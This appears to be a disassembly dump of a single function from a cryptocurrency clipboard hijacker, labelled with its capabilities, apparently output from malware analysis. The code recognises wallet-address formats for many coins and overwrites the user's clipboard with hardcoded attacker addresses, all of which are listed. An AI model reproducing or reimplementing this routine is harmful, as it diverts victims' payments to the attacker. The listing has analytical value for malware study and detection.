Function at 0x401000
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x31
je 0x40118c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x33
je 0x40118c
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x58
je 0x40118c
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x44
je 0x40118c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x30
je 0x40118c
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x4c
je 0x40118c
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x72
je 0x40118c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x54
je 0x40118c
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x74
je 0x40118c
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x68
je 0x40118c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x51
je 0x40118c
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x52
je 0x40118c
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x4e
je 0x40118c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x41
je 0x40118c
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x53
je 0x40118c
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x7a
je 0x40118c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x73
je 0x40118c
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x71
je 0x40118c
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x63
je 0x40118c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x34
je 0x40118c
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x61
je 0x40118c
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x46
je 0x40118c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x47
je 0x40118c
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x62
je 0x40118c
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
je 0x40118c
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
je 0x40118c
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x42
je 0x40118c
xor al, al
jmp 0x401628
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x34
jne 0x4011af
cmp dword [ebp - 4], 0x5a
jb 0x4011a3
cmp dword [ebp - 4], 0x73
jbe 0x4011aa
xor al, al
jmp 0x401628
jmp 0x401273
push 0x406230
mov eax, dword [ebp + 8]
push eax
call fcn.00401630
add esp, 8
test eax, eax
je 0x4011dc
cmp dword [ebp - 4], 0x32
jb 0x4011d0
cmp dword [ebp - 4], 0x38
jbe 0x4011d7
xor al, al
jmp 0x401628
jmp 0x401273
push 0x406240
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401630
add esp, 8
test eax, eax
je 0x401206
cmp dword [ebp - 4], 0x2a
jb 0x4011fd
cmp dword [ebp - 4], 0x30
jbe 0x401204
xor al, al
jmp 0x401628
jmp 0x401273
push 0x406248
mov edx, dword [ebp + 8]
push edx
call fcn.00401630
add esp, 8
test eax, eax
je 0x401230
cmp dword [ebp - 4], 0x62
jb 0x401227
cmp dword [ebp - 4], 0x69
jbe 0x40122e
xor al, al
jmp 0x401628
jmp 0x401273
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x55
je 0x401251
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x45
je 0x401251
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x42
jne 0x401260
cmp dword [ebp - 4], 9
je 0x40125e
xor al, al
jmp 0x401628
jmp 0x401273
cmp dword [ebp - 4], 0x15
jb 0x40126c
cmp dword [ebp - 4], 0x38
jbe 0x401273
xor al, al
jmp 0x401628
push str.bitcoincash:
mov eax, dword [ebp + 8]
push eax
call fcn.00401630
add esp, 8
test eax, eax
jne 0x40131a
mov dword [ebp - 0x18], 0
jmp 0x40129e
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 4]
jae 0x40131a
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x31
jne 0x4012e2
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x18]
movsx eax, byte [edx]
cmp eax, 0x4f
je 0x4012db
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
cmp edx, 0x49
je 0x4012db
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
cmp ecx, 0x6c
jne 0x4012e2
xor al, al
jmp 0x401628
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x18]
movsx eax, byte [edx]
push eax
call sub.MSVCRT.dll_isalpha
add esp, 4
test eax, eax
jne 0x401315
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
push edx
call sub.MSVCRT.dll_isdigit
add esp, 4
test eax, eax
jne 0x401315
xor al, al
jmp 0x401628
jmp 0x401295
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x31
jne 0x40134a
cmp dword [ebp - 4], 0x15
jne 0x401334
mov dword [ebp - 8], str.11650607608992768899L
jmp 0x40134a
cmp dword [ebp - 4], 0x30
jne 0x401343
mov dword [ebp - 8], str.15DBeUGFSQLbpYvWLJwzHUXSRrHNU9uQuS8c2wvFLZ7Nxz3N
jmp 0x40134a
mov dword [ebp - 8], str.1E5ZxnNUbbGQarWjMA7tCwp3Btm38GvRkv
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x33
jne 0x40135c
mov dword [ebp - 8], str.3AcMV5pSUcxMmmcMbfSkJXRKbCrF3ysUDJ
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x71
jne 0x40136e
mov dword [ebp - 8], 0x4062f4
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x58
jne 0x401380
mov dword [ebp - 8], str.XkcKjKZqNUkChwJXMj5uDjDns6etXvakir
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x44
jne 0x401392
mov dword [ebp - 8], str.D7MYki8urW3xq8sZJ8Q2v2ZrHxjzp7ACvb
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x30
jne 0x4013a4
mov dword [ebp - 8], str.0x76e4CB2fcf7f931Fd750e93F443536Ee068d1cdE
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x4c
jne 0x4013b6
mov dword [ebp - 8], str.LfYFvpk2hccXw12tN3BBMWh7EcUBMbKoTG
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x72
jne 0x4013c8
mov dword [ebp - 8], str.rUQFcff9R1eKAwTtR1wbuQxmcoB236mz44
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x54
jne 0x4013da
mov dword [ebp - 8], str.TEUaG7jyXdyrDS3JeEg1w1hotmmEMjx4TB
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x74
jne 0x401401
mov edx, dword [ebp + 8]
movsx eax, byte [edx + 1]
cmp eax, 0x7a
jne 0x4013fa
mov dword [ebp - 8], str.t1gTRxsrEXwky32j22jgFRZAafBzmCV2M2V
jmp 0x401401
mov dword [ebp - 8], str.tz1ZT5ezLqmcqPANNCHRGtjv7YmxU4Yqu9FY
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x68
jne 0x401413
mov dword [ebp - 8], str.hx5f9a4862a5b87d76d60b8ae85e229f892279d49a
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x51
jne 0x401425
mov dword [ebp - 8], str.QWU6ht2csXYcfG4KQW8yUxJtBQfCCjqvJQ
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x52
jne 0x401437
mov dword [ebp - 8], str.RTWARPyPyMgJSUNELV6wkSThjh2ub5CyzE
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x4e
jne 0x401449
mov dword [ebp - 8], str.ND2BUO56NOATM7KNB6EFEJSJX3GKYS2BD35BPEAE
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x41
jne 0x40145b
mov dword [ebp - 8], str.AT5Vm3ZrUg98s9kBue2g9YjnwK4kFKhQw3
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x53
jne 0x40146d
mov dword [ebp - 8], str.SdRjRfVx6vKYW7jfpAGSN5pqBSF9WC89wd
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x7a
jne 0x40147f
mov dword [ebp - 8], str.zil1vmhlqflzamfx0qfn5cykze2hkvmxx3tfs72gxt
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x73
jne 0x401491
mov dword [ebp - 8], str.s1j6xPi597KmKbLDAz1EaetoMFys2F1p8zw
push str.bitcoincash
mov edx, dword [ebp + 8]
push edx
call fcn.00401630
add esp, 8
test eax, eax
je 0x4014ad
mov dword [ebp - 8], str.bitcoincash:qqucl3fev20z4upudppa8p5hd6j3zzgyfuwae00pfr
push str.cosmos
mov eax, dword [ebp + 8]
push eax
call fcn.00401630
add esp, 8
test eax, eax
je 0x4014c9
mov dword [ebp - 8], str.cosmos19npkky36nzgsxlpqpqs8u9llzplxrmpn6fl86n
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x34
jne 0x4014db
mov dword [ebp - 8], str.44L2q3sPJ3DMJZiuSpHvehHMLbMXx3SAoVbLm5DWDw1A7PhUvcCPAGg5qAN98DWAUG7CuD4WmydP4JkewTz2aeVd4qhS822
push str.addr
mov eax, dword [ebp + 8]
push eax
call fcn.00401630
add esp, 8
test eax, eax
je 0x4014f7
mov dword [ebp - 8], str.addr1qyyg6wrlggj0m6f8pv3knku3cdfpexggr4hs5ykh9rj54mwzzh6mevr775jm9kq2qx9nmppqtc3rlhqfkmp8ksgmrv2q2t3mjf
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x46
jne 0x401509
mov dword [ebp - 8], str.FiFHQh6rA5wx2TXrEG7MfTcMr42znDeBPh
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x47
jne 0x40151b
mov dword [ebp - 8], str.GBLUYL3QTKP3NXVWCYNZ7ZH4CWFT6PVCXEYCNUNSHM34WKG2UL5EDQMV
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x62
jne 0x40157a
push 0x406740
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401630
add esp, 8
test eax, eax
je 0x401542
mov dword [ebp - 8], str.bnb154sx9pdh8er33ujxlpfk3zwvlfp9rd5rskvvgc
push str.band
mov edx, dword [ebp + 8]
push edx
call fcn.00401630
add esp, 8
test eax, eax
je 0x40155e
mov dword [ebp - 8], str.band1jr36wwpn6zq7a3de04fh8wz6vnqmg77tlckpa4
push 0x4067a4
mov eax, dword [ebp + 8]
push eax
call fcn.00401630
add esp, 8
test eax, eax
je 0x40157a
mov dword [ebp - 8], str.bc1qn4r93am7rxxr4a5dwydhwx0p2kd4xfd7mz42f3
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
jne 0x40158c
mov dword [ebp - 8], str.U24188479
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
jne 0x40159e
mov dword [ebp - 8], str.E27440746
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x42
jne 0x4015b0
mov dword [ebp - 8], str.B23181897
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
add edx, 1
push edx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x401626
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, dword [ebp - 0x14]
push edx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret